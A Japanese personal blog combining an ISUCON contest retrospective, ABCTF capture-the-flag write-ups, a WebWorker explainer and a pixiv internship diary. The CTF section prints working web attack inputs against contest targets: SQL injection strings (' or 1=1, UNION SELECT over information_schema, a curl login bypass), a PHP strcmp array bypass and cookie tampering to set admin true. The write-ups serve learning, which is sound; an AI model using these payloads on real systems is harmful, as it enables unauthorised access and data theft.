眠気

戯言とメモ

ISUCON反省文

K氏とチーム名「zoi」で参加してました。

今回は諸事情で学生枠でなく、一般枠で参加しました。

チーム名は時期的に被るんじゃないかなと思ってましたが、やはり被りました。ローマ字の方です。

初参加でした。

最終結果はメモってなかったのでアレなのですが、大体15000~16000くらいだったんじゃないかと思います。

予選落ちです。


準備

ISUCONの勝ち方を見たり、過去のエントリを見たり程度。

せめて当日までに使用言語くらいは決めようという感じであった

来年はもっと準備して挑みたいです(反省

やったこと

雑魚なのでK氏に全部やってもらいました。感謝🙏

結果的にチームとしてやったことは

  • htmlify内で毎回selectしているものを引数にして渡す
  • SELECT *SELECT keyword
  • 毎回ORDER BY CHARACTER_LENGTH(keyword)してるので、charlengthカラムを作ってORDER BY charlengthする
  • entryをredisに入れる/get('/')でredisからとってくる
  • starをredisに入れる/load_starsでredisからとってくる

自分がやったことは

  • kataribeでログ取ったり
  • CHARACTER_LENGTH(keyword)いっぱい入れとく
  • インデックス貼ったり
  • pt-query-digestでSlowLog見ていたり
  • phpにうろたえたり
  • ベンチマ~クのパケット見ようとしたらメチャンコでかくてうろたえたり
  • h2oにしようとして挫折したり

困ったこと

  • redisが入んなくて3,4時間かかってた
  • 参加していた場所のインフラがわりとクソ整備されてなくて、wifiに繋がらなかった
  • てんでsystemdわかんない
  • てんでAzureわかんない
  • starがついていません→ついてない…??

反省

  • SQL全然わかんなくてCHARACTER_LENGTHは複文で何とかなるんだろうけど、一行のupdate文大量に作った
  • 最終点数スクショ取ってない

感想

今回はわりと、楽しもうというテンションで

なんだかんだ準備が不十分だったけれど、

学生枠での本戦が16000くらいだったらしいので、わりといい線だったんじゃないかな、みたいな

不甲斐ないなりにテンションあげてみたり

そんな感じで。

頑張ります はい。いや、頑張るzoi

writeup的な

ABCTFの簡単なのをダラダラやっていて、あとは土日でやろう…

と楽しみに思っていたのですが、いつの間にか終わっていたので、

少し凹んだ。

Writeupがわりと寂しくなっていてショボイですが、覚え書き。

Caesar Salad - Crypt 10

xyzqc{t3_qelrdeq_t3_k33a3a_lk3_lc_qe3p3}

caesar solverなどでグーグル先生に聞いたり

abctf{w3_thought_w3_n33d3d_on3_of_th3s3}

Elemental - Web 10

<!-- 7xfsnj65gsklsjsdkj -->

Just open it - Forensic 15

strings 676F6F645F6A6F625F6275745F746869735F69736E745F7468655F666C6167.jpg |grep   "ABCTF"
ABCTF{forensics_1_tooo_easy?}

GZ - Forensic 30

解凍するだけでした。たしか。

The Flash - Web 35

$ echo "c3RvcHRoYXRqcw==" | base64 -D 
stopthatjs

Drive Home - Recon 50

document/1_TxYCrk5vIMlUjiB1OioXmR7b-Uq_a9aPIh9JyYlPNs/edit?usp=sharing

googleドキュメントのURLっぽいなあと

思っていたら、そんな感じでした。

Chocolate - Web 50

cookieの内容e2FkbWluOmZhbHNlfQ%3D%3Dをデコードしてみて、

$ node -e 'console.log(decodeURIComponent("e2FkbWluOmZhbHNlfQ%3D%3D"))' | base64 -D
{admin:false}

false→trueにしてまた戻したり

Java Madness - Rev 50

引数の文字を逆にしているだけみたいな

$ ruby -e 'puts "ctf coolest the is abctf".split(" ").map{|n|n.reverse}.join("\\  ")' | xargs java what_the_hack
...
Flag: ABCTF{ftc tselooc eht si ftcba}

手で逆にしていったほうが楽…

とりあえずrubyが書きたかった

Hide And Seek - Bin 50

main:
...
0x0000000100000f0c <+28>: cmp    eax,0x0
0x0000000100000f0f <+31>: jne    0x100000f1a <main+42> → 出力しておわり
0x0000000100000f15 <+37>: call   0x100000e70 <totallyNotTheFlag>
...

totallyNotTheFlag:
...
0x0000000100000eb0 <+64>: call   0x100000e00 <decrypt>
...

decrypt:
0x0000000100000e2c <+44>: cmp    rcx,rax
0x0000000100000e2f <+47>: jae    0x100000e63 <decrypt+99> → ret

gdbで適当にdecryptをループさせまくるだけでしょうか

gdb$ b *main+28
gdb$ b *decrypt+44
gdb$ r
gdb$ set $eax=0
gdb$ c
gdb$ set $rcx=0x0
gdb$ set $rax=0x30
gdb$ d 1
gdb$ commands 2
x/s $rdx
set $rcx=0x0
set $rax=0x30
end
gdb$ c

あとはエンター押しまくるだけ…

gdb$ 
Continuing.
0x7fff5fbff510: "CTF{w0w_b1NarY_1s_h@rd}"

MoonWalk - Forensic 60

foremostしました。

L33t H4xx0r - Web 70

source.txt

...
if(strcmp($PASSWORD, $_GET['password']) == 0){
            $success = true;
}else{
            $success = false;
}
...

strcmpのやつでしょうか。

配列で送って…

http://yrmyzscnvh.abctf.xyz/web6/?password[]=a

abctf{always_know_whats_going_on}

そんな感じです。

Get 'Em All - Web 80

よくあるやつですね

' or 1 = 1 ; -- ' ABCTF{th4t_is_why_you_n33d_to_sanitiz3_inputs}

JS Pls - Rev 80

これ

base64をデコードして難読化された部分を見やすくするために、

&&のところで改行したあと、

メチャンコ読みづらいところを実行して文字列にしておくとわりと読みやすくなったので、

あとはわりと手作業でした。

process.stdin.resume();
process.stdin.setEncoding('utf8');
console.log('Give me a flag');
process.stdin.on('data', function (a) {
    a = a.trim();
    19 === a.length
    &&
    a.substr(0, '5')  === "ABCTF"
    &&
    a['5'].charCodeAt(0) === a['18'].charCodeAt(0) - 1 - 1
    &&
    123 === a['5'].charCodeAt(0)
    &&
    a.substr('6', '4') === Object.keys(process.versions)[1]
    &&
    a['10'] === a['13']
    &&
    95 === a['10'].charCodeAt(0)
    &&
    a.substr('11', 2) === (typeof x)['5'] + (typeof a)[0]
    &&
    a.substr('14', '4') === "w4Ck"
    &&
    (console.log('nice job!'), process.exit());
    console.log('nope!');
    process.exit();
});

上から順に、

  • 19文字
  • 0~5はABCTF
  • 最後は}
  • 5文字目は{
  • 6~9文字目node
$ node -e "console.log(Object.keys(process.versions)[1])"
node
  • 11文字目と13文字目は一緒
  • 10文字目は_
node -e "console.log(String.fromCharCode(95))"
_
  • 11~12文字目はis

console.log((typeof x)['5'] + (typeof a)[0])をつっこんでみる

  • 14~17文字目はw4Ck

ということがわかるので、

まとめると、ABCTF{node_is_w4Ck}みたいな感じで。

もう少し効率よく頑張りたい…そんなこの頃。

Reunion - Web 150

?id=sleep(1)とか?id=1 or 1=1 ; --やると時間がかかったり全部出てきたりするので'いらないんだなとか分かったり

こんな感じかな

select * from Dog where id = $_GET['id']

みたいな感じで

unionのカラム数を1 union select 1,1,1みたいな感じで増やしていくと

カラム数は4つだとわかるので、

とりあえずテーブル名が欲しいので

1 AND 1=2 UNION SELECT table_schema, table_name ,1,1  FROM information_schema.tables ; --
...
Color: 1
Name: INNODB_BUFFER_PAGE_LRU
Breed: information_schema
Color: 1
Name: w0w_y0u_f0und_m3
Breed: webeight
Color: 1
Name: webeight
...

w0w_y0u_f0und_m3テーブルが怪しい。何だ

1 AND 1=2 UNION SELECT *,1,1,1 FROM w0w_y0u_f0und_m3 ; --

abctf{uni0n_1s_4_gr34t_c0mm4nd}

的な感じで

Inj3ction - Web 170

login.txt

...
$username = $_POST["username"];
$password = $_POST["password"];
$query = "SELECT * FROM users WHERE username='$username'";
$result = mysqli_query($con, $query);
$logged_in = false;
if(mysqli_num_rows($result) === 1) {
   $row = mysqli_fetch_array($result);
   if($row["password"] === $password){
    $logged_in = true;
    if($row["is_admin"] === true){
        echo("<h1>Wow! Your flag is: $flag </h1>");
     }
   }
}
...
  • 1行
  • 結果のpasswordがPOSTされたpasswordと一致
  • is_adminがtrue

を満たす結果をunionすれば良いのかな こんな感じで

1' union select 1,1,'pass',true ' ;--

みたいな

curl -X POST http://yrmyzscnvh.abctf.xyz/injection3/login.php -d username="1' union select 1,1,'pass',true ' ;--" -d password=pass
<h1>Wow! Your flag is: ABCTF{wait?_there's_more?} </h1>

そんなこんなでした。頑張ります。

あと、開催期間はちゃんと把握しておきます。ええ。

久しぶりの

ブログです。

最近はわりと自堕落的に、

本を読んだり、落書きをしたり、

Unityで遊んだり、ネットワークで遊んだり、

Pythonで遊んだり、Cで遊んだり、

してました。遊んでばっかりだな…

それで自分の底の浅さや至らなさなどを痛感したり、

頑張っていきたいと思ったり。

特に何かを強いられているわけではないのですが、

やはり何かを課さないといけないのでは、とか思い、

兎にも角にも少しでも出来る事をやっていこうと、

そんな感じで。ブログを書いていこうと思ったこの頃。

毎sy…いや、せめて毎月…

特に書くことはないのですが、

何か書かないと、アレなので、

最近ちょっと触ってみたWebWorkerのことでも書こうかなという感じです。

また読みづらい文章書いてるな

などと思いながら読んで頂けると本望です。


WebWorkerのことはわりとMDNさまや、html5rocksさまに色々書かれているので、詳しくはこちらを読んで頂けると幸いです。(投)

Webのことはあまり詳しくないのですが、MDN(Mozilla Developer Network)を眺めているだけで色々わかった気分になるので、とても良い読み物です

html5rocksもとてもワクワクする感じが楽しい。暇なとき、食事のおともに。


結局のところ、

JavaScriptはシングルスレッドなので、スクリプト中のコードは必ず順番に処理されるのですが、

複数のスクリプトを同時に実行したい場合、主にイベントやコールバックを用い、また、非同期処理の結果によって処理を分けたい場合はPromiseAPIなどを用いると思います。多分。

そんなわけですが、

それらは並行処理を擬似的に再現してるわけで、実際のところ、DOMやUIのレンダリングなどと同じメインスレッドで処理しているらしいです。

WebWorkerというものはバックグラウンドでJSファイルを実行する仕組みらしく、表で動いているメインスレッドとは別に、独立したスレッドで動作させる事が出来ます。

たとえば、こんな感じでUIの処理と素数計算が同時に動作するページだと、

ワーカーを用いないデモ

画像が動いてる途中で思い処理が走ると、UIの処理が止まってしまいます。

WebWorkerを用いるとUIを止めずに動かすことが出来ます。

ワーカーを用いたデモ

外部ファイルにJSファイルを分けるのが面倒なので、HTML5Rocksで紹介されているインラインワーカーを使用して、BlobBuilderが無くなったため、Blobを用いています。

ほかのWorkerの生成方法はここはここで色々紹介されています。

あと、githubのhtmlを表示するのはgithackというのを使ってます。ベンリ。

正直のところ、

外部ファイルにしたり、Blobにしたり、メッセージを送ったり返したり

色々面倒なのですが、

Parallel.jsというのがあるらしいので、そっちで書くとちょっとマシな気がします。

Parallel.jsのデモ(動きは一緒です。

せっかくParalleljsなのだから、もっと並列なコードを書きたい…とか

思ったのですが、

並列で素数を数えるのがわりと難しかったり、mapがうまいこと動かなかったり

だったので、また思い立ったときに書ければな…

みたいなこの頃

インターンの感想など

ピクシブのインターン

行ってきました。5日間。

楽しかったです。

pixiv自体わりとよく使っていて、インターンもとても行きたかった

けれど、過去のインターン参加ブログなどを拝見していると自分が行ける感じでもなく、

ダメ元で応募してみたところ受かってました。

倍率は割と高かったみたいで、何故受かった応募してみるものだなぁ等と思いました。

ダメ元だったため、最終日の翌日から北海道みたいな無理な予定を入れていたり等もしました。

面接では「普段はRubyとか書いてるけどPHPも全然イケます…!」的なことを

言ったところ、珍しいねと言われ、

もし受かってもウルトラPHPエンジニアに囲まれて着いていけるのでは…とか

翌日から後悔に悶える日々でした。終わってみると良い選択だったと思います。

内容


初日

事前に2分程度の自己紹介資料を作成しておくように言われており、

2分とはどんなものか…とか

悩みながら作ったものを発表したり、

サラッと流したつもりのスライドに載せていたtwitterアカウントをフォローされたり

したあと、6チームに分かれ、各作業を行いました。

自分は「百科事典改修チーム」というチームに配属されており、

総合職の方1人と、エンジニアが3人の4人チームで、自分はエンジニアとして参加しました。

内容を端的に言うと、ピクシブ百科事典というサービスを実際に弄らせて頂くという内容でした。

良いのか。

最初内容を聞いた時はあまり理解出来なかったですが、

終わってみてよく考えてみてもポルナレフ状態でした。

具体的にいうと、

「pixiv百科事典は閲覧数は多いけれど、調べたいことが読めたらそのまま帰ってしまうのを何とかしよう」

ということで。

他サービスへの流出量の50%アップというのが課題でした。

環境構築と課題の解決に向けた方向性や現在上がっている問題などの話し合いなどをしたり。

ホワイトデーによりマカロンを頂いたり、

ホテルに帰る際スゴイ雨風で傘が壊れたり。な初日でした


二日目は、午前中はpixivのエンジニアの方のお話を聞いたりしてました。

niconare.nicovideo.jp

自分のチームのメンターをしてくださったtadsanさんの発表資料です。

昼からは前日に上がった問題点をgithubのissueとして登録して、

それを解決したり、ABテストをするための実装などしたり。

本当は1日目にも変更をデプロイしておきたかったので、急いで作業を行ったり。


三日目は午前中、

Pixivの社内で行われる全体会議に参加させていただいたり、

したあと、全社員がランダムで席の配置が決められるシステムにより片桐社長と同じ机でお昼を取ったり。

午後からは同じく作業を行ったりしました。


四日目は修羅場作業出来る最終日だったので、頑張って作業したり、

最終日はそれを発表したり、

そんな五日間でした。


業務は朝10時~気が済むまで19時で、

遅くまで残っても作業に付き合ってくれて、とてもありがたく申し訳ない限りでした。

あとハーゲンダッツを頂いて、すごく久しぶりに食べました。ありがたい。

f:id:lailaiskyn:20160325010936j:plain:w300

社内の雰囲気はすごくオープンな感じで、

前日までのこんなところ来て良いものかと思っていた感じとは違い、

すごく居過ぎる居やすい環境でした。

あとホワイトデーによりマカロンを頂いたり、

飲み放題な味噌汁サーバとか、ピクシブ栄養ドリンクとか良かったです。

f:id:lailaiskyn:20160324231248j:plain:h150 f:id:lailaiskyn:20160325012344j:plain:h150 f:id:lailaiskyn:20160325013007j:plain:h150

みそ汁は具を入れ過ぎるとワカメの増える量がすごくて大変だった。

あとすごくイスが座りやすくて、何気なく調べたらすごく高くて驚いた。

あと絵馬がすごかった…

憧れの絵描きさんの絵が沢山あり、

nababaさんとかlackさん、あの方も、あっあの方も…みたいな感じで

それを眺めてるだけでも1日使えそうな感じでした。

帰り際の新幹線ギリギリの時間に描かせて頂けることを知り、

15分ほどで急いで描いて帰りました。もう少し時間があれば…。


感想

Pixivというサービスは絵描きとしても気に入っているサイトだったので、

ピクシブ百科の中身を覗いて、ここがこうなっていてここが…ほぇ~などとなったり、

実際に何万PVもされているサービスをいじったり、

使用ユーザーの行動をイベントを集計して見たり、

実際に自分の作ったものが実際のサービスに反映されたり、

エゴサーチをしたら変更に気付いてる人がいたり、

ユーザーとして中の人とお話したり、すごく幸せでした。

PHPと言って良かった…お得感。

お世話になったメンターの方や、チームの方々、ありがとうございました。

これからも頑張ります。